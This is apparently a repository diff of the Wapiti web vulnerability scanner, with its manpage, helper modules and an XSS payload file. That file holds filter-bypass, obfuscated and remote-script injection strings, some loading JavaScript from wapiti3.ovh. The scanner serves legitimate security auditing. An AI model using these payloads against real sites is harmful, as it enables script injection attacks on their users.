value = [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]([+!+[]]+[!+[]+!+[]+!+[]]+(+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]])+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]])()
case_sensitive = no
[script_fromcharcode]
payload = <script>String.fromCharCode(0,__XSS__,1)</script>
tag = script
attribute = string
value = String.fromCharCode(0,__XSS__,1)
case_sensitive = yes
[script_alert_parentheses_regex]
payload = <script>(alert)(/__XSS__/);</script>
tag = script
attribute = string
value = (alert)(/__XSS__/);
case_sensitive = yes
[img_onerror_alert_double_quote]
payload = <img src=. onerror=alert("__XSS__")>
tag = img
attribute = onerror
value = alert("__XSS__")
case_sensitive = yes
[img_onerror_alert_quote]
payload = <img src=. onerror=alert('__XSS__')>
tag = img
attribute = onerror
value = alert('__XSS__')
case_sensitive = yes
[img_onerror_alert_regex]
payload = <img src=. onerror=alert(/__XSS__/)>
tag = img
attribute = onerror
value = alert(/__XSS__/)
case_sensitive = yes
[img_onerror_fromcharcode]
payload = <img src=. onerror=String.fromCharCode(0,__XSS__,1)>
tag = img
attribute = onerror
value = String.fromCharCode(0,__XSS__,1)
case_sensitive = yes
[object_data_alert_quote]
payload = <object data="javascript:alert('__XSS__')">
tag = object
attribute = data
value = javascript:alert('__XSS__')
case_sensitive = yes
[object_data_fromcharcode]
payload = <object data=javascript:String.fromCharCode(0,__XSS__,1)>
tag = object
attribute = data
value = javascript:String.fromCharCode(0,__XSS__,1)
case_sensitive = yes
[param_value_alert_quote]
payload = <object><param name=x value=javascript:alert('__XSS__')></object>
tag = param
attribute = value
value = javascript:alert('__XSS__')
case_sensitive = yes
[param_value_alert_double_quote]
payload = <object><param name=x value=javascript:alert("__XSS__")></object>
tag = param
attribute = value
value = javascript:alert("__XSS__")
case_sensitive = yes
[param_value_fromcharcode]
payload = <object><param name=x value=javascript:String.fromCharCode(0,__XSS__,1)></object>
tag = param
attribute = value
value = javascript:String.fromCharCode(0,__XSS__,1)
case_sensitive = yes
[iframe_src_javascript]
payload = <iframe src="javascript:String.fromCharCode(0,__XSS__,1);"></iframe>
tag = iframe
attribute = src
value = javascript:String.fromCharCode(0,__XSS__,1)
case_sensitive = yes
[frame_src_javascript]
payload = <frameset><frame src="javascript:String.fromCharCode(0,__XSS__,1);"></frame>
tag = frame
attribute = src
value = javascript:String.fromCharCode(0,__XSS__,1)
case_sensitive = yes
; Tricks
[script_slash_absolute_src]
payload = <script/ src=https://wapiti3.ovh/__XSS__z.js></script/>
tag = script
attribute = src
value = https://wapiti3.ovh/__XSS__z.js
case_sensitive = no
; Those are simple case sensitive bypass
[case_script_alert_quote]
payload = <ScRiPt>alert('__XSS__')</sCrIpT>
tag = script
attribute = string
value = alert('__XSS__')
case_sensitive = yes
[case_script_alert_double_quote]
payload = <ScRiPt>alert("__XSS__")</sCrIpT>
tag = script
attribute = string
value = alert("__XSS__")
case_sensitive = yes
[case_script_alert_regex]
payload = <ScRiPt>alert(/__XSS__/)</sCrIpT>
tag = script
attribute = string
value = alert(/__XSS__/)
case_sensitive = yes
[case_script_fromcharcode]
payload = <ScRiPt>String.fromCharCode(0,__XSS__,1)</sCrIpT>
tag = script
attribute = string
value = String.fromCharCode(0,__XSS__,1)
case_sensitive = yes
[case_script_absolute_src]
payload = <ScRiPt src=https://wapiti3.ovh/__XSS__z.js></sCrIpT>
tag = script
attribute = src
value = https://wapiti3.ovh/__XSS__z.js
case_sensitive = no
[case_script_slash_absolute_src]
payload = <ScRiPt/ src=https://wapiti3.ovh/__XSS__z.js></sCrIpT/>
tag = script
attribute = src
value = https://wapiti3.ovh/__XSS__z.js
case_sensitive = no
[case_script_jsfuck_13_plus_37]
payload = <ScRiPt>[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]([+!+[]]+[!+[]+!+[]+!+[]]+(+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]])+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]])()</sCrIpT>
tag = script
attribute = string
value = [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]([+!+[]]+[!+[]+!+[]+!+[]]+(+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]])+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]])()
case_sensitive = no
; Try injecting whitespaces...
[tab_script_absolute_src]
payload = <script[TAB]src=https://wapiti3.ovh/__XSS__z.js></script>
tag = script
attribute = src
value = https://wapiti3.ovh/__XSS__z.js
case_sensitive = no
[case_tab_script_absolute_src]
payload = <ScRiPt[TAB]src=https://wapiti3.ovh/__XSS__z.js></sCrIpT>
tag = script
attribute = src
value = https://wapiti3.ovh/__XSS__z.js
case_sensitive = no
[tab_img_onerror_fromcharcode]
payload = <img[TAB]src=.[TAB]onerror=String.fromCharCode(0,__XSS__,1)>
tag = img
attribute = onerror
value = String.fromCharCode(0,__XSS__,1)
case_sensitive = yes
[space_script_alert_quote]
payload = <script >alert('__XSS__')</script >
tag = script
attribute = string
value = alert('__XSS__')
case_sensitive = yes
[space_script_alert_double_quote]
payload = <script >alert("__XSS__")</script >
tag = script
attribute = string
value = alert("__XSS__")
case_sensitive = yes
[space_script_fromcharcode]
payload = <script >String.fromCharCode(0,__XSS__,1)</script >
tag = script
attribute = string
value = String.fromCharCode(0,__XSS__,1)
case_sensitive = yes
[case_space_script_fromcharcode]
payload = <ScRiPt >String.fromCharCode(0,__XSS__,1)</ sCrIpT>
tag = script
attribute = string
value = String.fromCharCode(0,__XSS__,1)
case_sensitive = yes
[case_tab_script_fromcharcode]
payload = <ScRiPt[TAB]>String.fromCharCode(0,__XSS__,1)</[TAB]sCrIpT>
tag = script
attribute = string
value = String.fromCharCode(0,__XSS__,1)
case_sensitive = yes
[tab_object_data_fromcharcode]
payload = <object[TAB]data=javascript:String.fromCharCode(0,__XSS__,1)>
tag = object
attribute = data
value = javascript:String.fromCharCode(0,__XSS__,1)
case_sensitive = yes
; Bypass remove of tags
[open_script_tag_remove_alert_quote]
payload = <scr<script>ipt>alert('__XSS__')</script>
tag = script
attribute = string
value = alert('__XSS__')
case_sensitive = yes
[script_tag_remove_alert_quote]
payload = <scr<script>ipt>alert('__XSS__')</scr</script>ipt>
tag = script
attribute = string
value = alert('__XSS__')
case_sensitive = yes
[open_script_tag_remove_alert_double_quote]
payload = <scr<script>ipt>alert("__XSS__")</script>
tag = script
attribute = string
value = alert("__XSS__")
case_sensitive = yes
[script_tag_remove_alert_double_quote]
payload = <scr<script>ipt>alert("__XSS__")</scr</script>ipt>
tag = script
attribute = string
value = alert("__XSS__")
case_sensitive = yes
[open_script_tag_remove_fromcharcode]
payload = <scr<script>ipt>String.fromCharCode(0,__XSS__,1)</script>
tag = script
attribute = string
value = String.fromCharCode(0,__XSS__,1)
case_sensitive = yes
[script_tag_remove_fromcharcode]
payload = <scr<script>ipt>String.fromCharCode(0,__XSS__,1)</scr</script>ipt>
tag = script
attribute = string
value = String.fromCharCode(0,__XSS__,1)
case_sensitive = yes
[open_script_tag_remove_absolute_src]
payload = <scr<script>ipt src=https://wapiti3.ovh/__XSS__z.js></script>
tag = script
attribute = src
value = https://wapiti3.ovh/__XSS__z.js
case_sensitive = no
[script_tag_remove_absolute_src]
payload = <scr<script>ipt src=https://wapiti3.ovh/__XSS__z.js></scr</script>ipt>
tag = script
attribute = src
value = https://wapiti3.ovh/__XSS__z.js
case_sensitive = no

View File

@ -0,0 +1,29 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2017-2018 Nicolas SURRIBAS
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
import sys
parent_dir = os.path.abspath(os.path.join(os.path.dirname(os.path.abspath(__file__)), os.pardir))
if os.path.exists(os.path.join(parent_dir, "wapitiCore")):
sys.path.append(parent_dir)
from wapitiCore.main.wapiti import wapiti_main
if __name__ == "__main__":
wapiti_main()

View File

@ -0,0 +1,43 @@
#!/usr/bin/env python3
# Took this from https://github.com/tdhopper/moon/blob/master/moon.py
from datetime import datetime
# Adapted the moon phase code from
# http://smithje.github.io/bash/2013/07/08/moon-phase-prompt.html
def julian(year, month, day) -> float:
a = (14 - month) / 12.0
y = year + 4800 - a
m = (12 * a) - 3 + month
return day + (153 * m + 2) / 5.0 + (365 * y) + y / 4.0 - y / 100.0 + y / 400.0 - 32045
def phase(year=None, month=None, day=None) -> str:
if year is None and month is None and day is None:
today = datetime.now()
year, month, day = today.year, today.month, today.day
p = (julian(year, month, day) - julian(2000, 1, 6)) % 29.530588853
if p < 1.84566:
return "new"
elif p < 5.53699:
return "waxing crescent"
elif p < 9.22831:
return "first quarter"
elif p < 12.91963:
return "waxing gibbous"
elif p < 16.61096:
return "full"
elif p < 20.30228:
return "waning gibbous"
elif p < 23.99361:
return "last quarter"
elif p < 27.68493:
return "waning crescent"
else:
return "new"
if __name__ == "__main__":
print(phase())

View File

@ -0,0 +1,183 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# LameJs - A very basic javascript interpreter in Python
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2013-2018 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import logging
from wapitiCore.net.jsparser import jsparser3
class LameJs:
def __init__(self, data):
self.js_vars = {}
self.links = []
self.debug = False
try:
self.js_vars = {}
self.links = []
rootnode = jsparser3.parse(data, None, 0)
self.read_node(rootnode)
except Exception:
pass
def get_vars(self):
return self.js_vars
def get_links(self):
return self.links
def read_node(self, node):
if node.type == "SCRIPT":
logging.debug("# SCRIPT")
for sub_node in node:
self.read_node(sub_node)
elif node.type == "VAR":
logging.debug("# VAR IN")
logging.debug("# VAR OUT {}".format(self.read_node(node[0])))
elif node.type == "IDENTIFIER":
logging.debug("# IDENTIFIER")
if hasattr(node, 'initializer'):
value = self.read_node(node.initializer)
self.js_vars[node.value] = value
return node.value, value
return node.value
elif node.type == "NUMBER":
logging.debug("# NUMBER")
return node.value
elif node.type == "STRING":
logging.debug("# STRING")
return node.value
elif node.type == "PLUS":
logging.debug("# PLUS")
eax = None
for sub_node in node:
value = self.read_node(sub_node)
if eax is None:
eax = value
else:
if isinstance(eax, str):
if isinstance(value, str):
eax += value
elif isinstance(value, int):
eax += str(value)
elif isinstance(eax, int):
if isinstance(value, str):
eax = str(eax) + value
elif isinstance(value, int):
eax += value
return eax
elif node.type == "FUNCTION":
logging.debug("# FUNCTION")
try:
func_name = node.name
except AttributeError:
func_name = "anonymous"
logging.debug("In function {0}".format(func_name))
self.read_node(node.body)
elif node.type == "SEMICOLON":
logging.debug("# SEMICOLON")
self.read_node(node.expression)
logging.debug("Semicolon end")
elif node.type == "CALL":
logging.debug("# CALL")
func_name = self.read_node(node[0])
if not func_name:
func_name = "anonymous"
params = self.read_node(node[1])
logging.debug("func_name = {0}".format(func_name))
logging.debug("params = {0}".format(params))
if func_name == "window.open":
if len(params):
self.links.append(params[0])
elif func_name.endswith(".asyncRequest"):
if len(params) > 1:
if params[0].upper() in ["GET", "POST"]:
self.links.append(params[1])
elif node.type == "DOT":
logging.debug("# DOT")
return ".".join([sub_node.value for sub_node in node])
elif node.type == "LIST":
logging.debug("# LIST")
ll = []
for sub_node in node:
ll.append(self.read_node(sub_node))
logging.debug("list = {0}".format(ll))
return ll
elif node.type == "ASSIGN":
logging.debug("# ASSIGN")
left_value = self.read_node(node[0])
right_value = self.read_node(node[1])
logging.debug("left_value = {0}".format(left_value))
logging.debug("right_value = {0}".format(right_value))
if right_value and (
left_value.endswith(".href") or
left_value.endswith(".action") or
left_value.endswith(".location") or
left_value.endswith(".src")
):
if node[1].type == "IDENTIFIER" and self.js_vars.get(right_value):
self.links.append(self.js_vars[right_value])
else:
self.links.append(right_value)
elif node.type == "WITH":
logging.debug("# WITH")
for sub_node in node.body:
self.read_node(sub_node)
elif node.type == "PROPERTY_INIT":
logging.debug("# PROPERTY_INIT")
attrib_name = self.read_node(node[0])
attrib_value = self.read_node(node[1])
logging.debug("attrib_name = {0}".format(attrib_name))
logging.debug("attrib_value = {0}".format(attrib_value))
return attrib_name
elif node.type == "OBJECT_INIT":
logging.debug("# OBJECT_INIT")
for sub_node in node:
self.read_node(sub_node)
logging.debug("OBJECT_INIT end")
elif node == "REGEXP":
logging.debug("# REGEXP")
return node.value
elif node == "THIS":
logging.debug("# THIS")
return "this"
if __name__ == "__main__":
logging.basicConfig(level=logging.DEBUG)
data = """
window.open("/toto.html");
document.location='bidule.html';
var link='ab'+'cd'+'.html';
window.href=link;
document.location = link + "?var=value";
"""
# from https://public-firing-range.appspot.com/remoteinclude/script_hash.html
data2 = """
var target = location.hash.substr(1);
var head = document.getElementsByTagName('head')[0];
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = target;
head.appendChild(script);
"""
lame_js = LameJs(data)
print(lame_js.get_links())

View File

@ -0,0 +1,62 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2008-2018 Nicolas SURRIBAS
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from wapitiCore.attack.attack import Attack
from wapitiCore.language.vulnerability import _
def get_speed(resource):
return (resource.size + 1) / resource.duration
def compare(res1, res2):
size1 = res1.size + 1
size2 = res2.size + 1
delay1 = res1.elapsed_time.total_seconds()
delay2 = res2.elapsed_time.total_seconds()
diff = (size1 / delay1) - (size2 / delay2)
if diff > 0:
return 1
elif diff < 0:
return -1
else:
return 0
class mod_delay(Attack):
"""This class gives a top 10 of the webpages taking the most time to respond (compared to their size)"""
name = "delay"
do_get = False
do_post = False
def attack(self):
urls = self.persister.get_links(attack_module=self.name) if self.do_get else []
forms = self.persister.get_forms(attack_module=self.name) if self.do_post else []
browsed_resources = list(urls) + list(forms)
sorted_resources = sorted(browsed_resources, key=get_speed)
self.log_cyan(_("Slowest resources found on the web server:"))
for slow_resource in sorted_resources[:10]:
self.log_cyan("---")
speed = (slow_resource.size + 1) / slow_resource.duration
self.log_cyan(_("With a download speed of {0} bps:").format(speed))
self.log_cyan(slow_resource)
yield

View File

@ -0,0 +1,288 @@
wapiti(1) -- A web application vulnerability scanner in Python
==============================================================
## SYNOPSIS
`wapiti` -u <BASE_URL> [options]
## DESCRIPTION
Wapiti allows you to audit the security of your web applications.
It performs "black-box" scans, i.e. it does not study the source code of the application but will scans the webpages of the deployed webapp, looking for scripts and forms where it can inject data.
Once it gets this list, Wapiti acts like a fuzzer, injecting payloads to see if a script is vulnerable.
Wapiti is useful only to discover vulnerabilities : it is not an exploitation tools. Some well known applications can be used for the exploitation part like the recommanded sqlmap.
## OPTIONS SUMMARY
Here is a summary of options. It is essentially what you will get when you launch Wapiti without any argument.
More detail on each option can be found in the following sections.
TARGET SPECIFICATION:
* `-u` <URL>
* `--scope` {page,folder,domain,url}
ATTACK SPECIFICATION:
* `-m` <MODULES_LIST>
* `--list-modules`
* `-l` <LEVEL>
PROXY AND AUTHENTICATION OPTIONS:
* `-p` <PROXY_URL>
* `-a` <CREDENTIALS>
* `--auth-type` {basic,digest,kerberos,ntlm}
* `-c` <COOKIE_FILE>
SESSION OPTIONS:
* `--skip-crawl`
* `--resume-crawl`
* `--flush-attacks`
* `--flush-session`
SCAN AND ATTACKS TUNING:
* `-s` <URL>
* `-x` <URL>
* `-r` <PARAMETER>
* `--skip` <PARAMETER>
* `-d` <DEPTH>
* `--max-links-per-page` <MAX_LINKS_PER_PAGE>
* `--max-files-per-dir` <MAX_FILES_PER_DIR>
* `--max-scan-time` <MAX_SCAN_TIME>
* `--max-parameters` <MAX>
* `-S`, `--scan-force` {paranoid,sneaky,polite,normal,aggressive,insane}
HTTP AND NETWORK OPTIONS:
* `-t` <SECONDS>
* `-H` <HEADER>
* `-A` <AGENT>
* `--verify-ssl` {0,1}
OUTPUT OPTIONS:
* `--color`
* `-v` <LEVEL>
REPORT OPTIONS:
* `-f` {json,html,txt,openvas,vulneranet,xml}
* `-o` <OUPUT_PATH>
OTHER OPTIONS:
* `--no-bugreport`
* `--version`
* `-h`
## TARGET SPECIFICATION
* `-u`, `--url` <URL>
The URL that will be used as the base for the scan. Every URL found during the scan will be checked against the base URL and the corresponding scan scope (see --scope for details).
This is the only required argument. The scheme part of the URL must be either http or https.
* `--scope` <SCOPE>
Define the scope of the scan and attacks. Valid choices are :
- url : will only scan and attack the exact base URL given with -u option
- page : will attack every URL matching the path of the base URL (every query string variation)
- folder : will scan and attack every URL starting with the base URL value. This base URL should have a trailing slash (no filename)
- domain : will scan and attack every URL whose domain name match the one from the base URL.
## ATTACK SPECIFICATION
* `-m`, `--module` <MODULE_LIST>
Set the list of attack modules (modules names separated with commas) to launch against the target.
Default behavior (when the option is not set) is to use the most common modules.
Common modules can also be specified using the "common" keyword.
To launch a scan without launching any attack, just give an empty value (-m "").
You can filter on http methods too (only get or post). For example -m "xss:get,exec:post".
* `--list-modules`
Print the list of available Wapiti modules and exit.
* `-l`, `--level` <LEVEL>
In previous versions Wapiti used to inject attack payloads in query strings even if no parameter was present in the original URL.
While it may be successful in finding vulnerabilities that way, it was causing too many requests for not enough success.
This behavior is now hidden behind this option and can be reactivated by setting -l to 2.
It may be useful on CGIs when developers have to parse the query-string themselves.
Default value for this option is 1.
## PROXY AND AUTHENTICATION OPTIONS
* `-p`, `--proxy` <PROXY_URL>
The given URL will be used as a proxy for HTTP and HTTPS requests. This URL can have one of the following scheme : http, https, socks.
To make Wapiti use a Tor listener you can use --proxy socks://127.0.0.1:9050/
* `-a`, `--auth-cred` <CREDENTIALS>
Set credentials to use for HTTP authentication on the target.
Given value should be in the form login%password (% is used as a separator)
* `--auth-type` <TYPE>
Set the authentication mechanism to use. Valid choices are basic, digest, kerberos and ntlm.
Kerberos and NTLM authentication may require you to install additionnal Python modules.
* `-c`, `--cookie` <COOKIE_FILE>
Load cookies from a Wapiti JSON cookie file. See wapiti-getcookie(1) for more informations.
## SESSION OPTIONS
Since Wapiti 3.0.0, scanned URLs, discovered vulnerabilities and attacks status are stored in sqlite3 databases used as Wapiti session files.
Default behavior when a previous scan session exists for the given base URL and scope is to resume the scan and attack status.
Following options allows you to bypass this behavior/
* `--skip-crawl`
If a previous scan was performed but wasn't finished, don't resume the scan.
Attack will be made on currently known URLs without scanning more.
* `--resume-crawl`
If the crawl was previously stopped and attacks started, default behavior is to skip crawling if the session is restored.
Use this option in order to continue the scan process while keeping vulnerabilities and attacks in the session.
* `--flush-attacks`
Forget everything about discovered vulnerabilities and which URL was attacked by which module.
Only the scan (crawling) informations will be kept.
* `--flush-session`
Forget everything about the target for the given scope.
## SCAN AND ATTACKS TUNING
* `-s`, `--start` <URL>
If for some reasons, Wapiti doesn't find any (or enough) URLs from the base URL you can still add URLs to start the scan with.
Those URLs will be given a depth of 0, just like the base URL.
This option can be called several times.
You can also give it a filename and Wapiti will read URLs from the given file (must be UTF-8 encoded), one URL per line.
* `-x`, `--exclude` <URL>
Prevent the given URL from being scanned. Common use is to exclude the logout URL to prevent the destruction of session cookies (if you specified a cookie file with --cookie).
This option can be applied several times. Excluded URL given as a parameter can contain wildcards for basic pattern matching.
* `-r`, `--remove` <PARAMETER>
If the given parameter is found in scanned URL it will be automatically removed (URLs are edited).
This option can be used several times.
* `--skip` <PARAMETER>
Given parameter will be kept in URLs and forms but won't be attacked.
Useful if you already know non-vulnerable parameters.
* `-d`, `--depth` <DEPTH>
When Wapiti crawls a website it gives each found URL a depth value.
The base URL, and additionnal starting URLs (-s) are given a depth of 0.
Each link found in thoses URLs got a depth of 1, and so on.
Default maximum depth is 40 and is very large.
This limit make sure the scan will stop at some time.
For a fast scan a depth inferior to 5 is recommanded.
* `--max-links-per-page` <MAX>
This is another option to be able to reduce the number of URLs discovered by the crawler.
Only the first MAX links of each webpage will be extracted.
This option is not really effective as the same link may appear on different webpages.
It should be useful is rare conditions, for exeample when there is a lot a webpages without query string.
* `--max-files-per-dir` <MAX>
Limit the number of URLs to crawl under each folder found on the webserver.
Note that an URL with a trailing slash in the path is not necessarily a folder with Wapiti will treat it as its is.
Like the previous option it should be useful only in certain situations.
* `--max-scan-time` <MINUTES>
Stop the scan after MINUTES minutes if it is still running.
Should be useful to automatise scanning from another process (continuous testing).
* `--max-parameters` <MAX>
URLs and forms having more than MAX input parameters will be discarded before launching attack modules.
* `-S`, `--scan-force` <FORCE>
The more input parameters an URL or form have, the more requests Wapiti will send.
The sum of requests can grow rapidly and attacking a form with 40 or more input fields can take a huge ammount of time.
Wapiti use a mathematical formula to reduce the numbers of URLs scanned for a given pattern (same variables names) when
the number of parameters grows.
The formula is `maximum_allowed_patterns = 220 / (math.exp(number_of_parameters * factor) ** 2)`
where factor is an internal value controller by the <FORCE> value you give as an option.
Availables choices are : paranoid, sneaky, polite, normal, aggressive, insane.
Default value is normal (147 URLs for 1 parameter, 30 for 5, 5 for 10, 1 for 14 or more).
Insane mode just remove the calculation of thoses limits, every URL will be attacked.
Paranoid mode will attack 30 URLs with 1 parameter, 5 for 2, and just 1 for 3 and more).
## HTTP AND NETWORK OPTIONS
* `-t`, `--timemout` <SECONDS>
Time to wait (in seconds) for a HTTP response before considering failure.
* `-H`, `--header` <HEADER>
Set a custom HTTM header to inject in every request sent by Wapiti.
This option can be used several times.
Value should be a standard HTTP header line (parameter and value separated with a : sign).
* `-A`, `--user-agent` <AGENT>
Default behavior of Wapiti is to use the same User-Agent as the TorBrowser, making it discreet when crawling standard website or .onion ones.
But you may have to change it to bypass some restrictions so this option is here.
* `--verify-ssl` <VALUE>
Wapiti doesn't care of certificates validation by default. That behavior can be changed by passing 1 as a value to that option.
## OUTPUT OPTIONS
Wapiti prints its status to standard output. The two following options allow to tune the output.
* `--color`
Outpout will be colorized based on the severity of the information (red is critical, orange for warnings, green for information).
* `-v`, `--verbose` <LEVEL>
Set the level of verbosity for the output.
Possible values are quiet (O), normal (1, default behavior) and verbose (2).
## REPORT OPTIONS
Wapiti will generate a report at the end of the attack process. Several formats of reports are available.
* `-f`, `--format` <FORMAT>
Set the format of the report. Valid choices are json, html, txt, openvas, vulneranet and xml.
Although the HTML reports were rewritten to be more responsive, they still are impraticable when there is a lot of found vulnerabilities.
* `-o`, `--output` <OUTPUT_PATH>
Set the path were the report will be generated.
## OTHER OPTIONS
* `--version`
Print Wapiti version then exit.
* `--no-bugreport`
If a Wapiti attack module crashes of a non-caught exception a bug report is generated and sent for analysis in order to improve Wapiti reliability. Note that only the content of the report is kept.
You can still prevent reports from being sent using that option.
* `-h`, `--help`
Show detailed options description. More details are available in this manpage though.
## LICENSE
Wapiti is covered by the GNU General Public License (GPL), version 2.
Please read the COPYING file for more information.
## COPYRIGHT
Copyright (c) 2006-2018 Nicolas Surribas.
## AUTHORS
Nicolas Surribas is the main author, but the whole list of contributors is found in the separate AUTHORS file.
## WEBSITE
http://wapiti.sourceforge.net/
## BUG REPORTS
If you find a bug in Wapiti please report it to https://sourceforge.net/p/wapiti/bugs/
## SEE ALSO
The INSTALL.md file that comes with Wapiti contains every information required to install Wapiti.

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,32 @@
[FILE_NAME]~
[FILE_NAME].backup
[FILE_NAME].bck
[FILE_NAME].old
[FILE_NAME].save
[FILE_NAME].bak
.[FILE_NAME].swp
[FILE_NAME].zip
[FILE_NAME].rar
[FILE_NAME].tar.gz
[FILE_NAME].tgz
[FILE_NAME].tar.bz2
[FILE_NAME].tbz2
[FILE_NAME].7zip
[FILE_NOEXT].backup
[FILE_NOEXT].bck
[FILE_NOEXT].old
[FILE_NOEXT].save
[FILE_NOEXT].bak
[FILE_NOEXT].zip
[FILE_NOEXT].rar
[FILE_NOEXT].tar.gz
[FILE_NOEXT].tgz
[FILE_NOEXT].tar.bz2
[FILE_NOEXT].tbz2
